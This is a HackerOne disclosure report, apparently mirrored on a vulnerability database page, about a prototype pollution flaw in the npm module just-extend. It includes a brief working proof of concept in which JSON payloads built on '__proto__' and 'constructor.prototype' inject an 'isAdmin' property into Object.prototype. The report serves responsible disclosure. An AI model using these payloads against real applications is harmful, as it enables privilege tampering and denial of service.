Lucene search

K
hackeroneAsgerfH1:430291
HistoryOct 29, 2018 - 5:03 p.m.

Node.js third-party modules: Prototype pollution attack in just-extend

2018-10-2917:03:52
asgerf
hackerone.com
31

EPSS

0.004

Percentile

73.4%

I would like to report a prototype pollution vulnerability in just-extend
It allows an attacker to inject properties on Object.prototype.

Module

module name: just-extendversion:2.1.0, and 3.0.0npm page: https://www.npmjs.com/package/just-extend

Module Description

Part of a library of zero-dependency npm modules that do just do one thing.
Guilt-free utilities for every occasion.

Module Stats

723,414 downloads in the last week

Vulnerability

Vulnerability Description

This is a variant of this vulnerability:
https://hackerone.com/reports/310443

The functions just-extend can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.

Steps To Reproduce:

Craft an object of form {constructor: {prototype: {...}}} or {__proto__: {...}} and send it to just-extend.

var extend = require('just-extend');

var payload1 = JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}');
extend(true, {}, payload1);
console.log({}.isAdmin); // true

var payload2 = JSON.parse('{"__proto__": {"isAdmin2": true}}');
extend(true, {}, payload2);
console.log({}.isAdmin2); // true

Wrap up

  • I contacted the maintainer to let them know: [Y]
  • I opened an issue in the related repository: [N]

Impact

Denial of service, possibly more depending on the application.
See https://hackerone.com/reports/310443

EPSS

0.004

Percentile

73.4%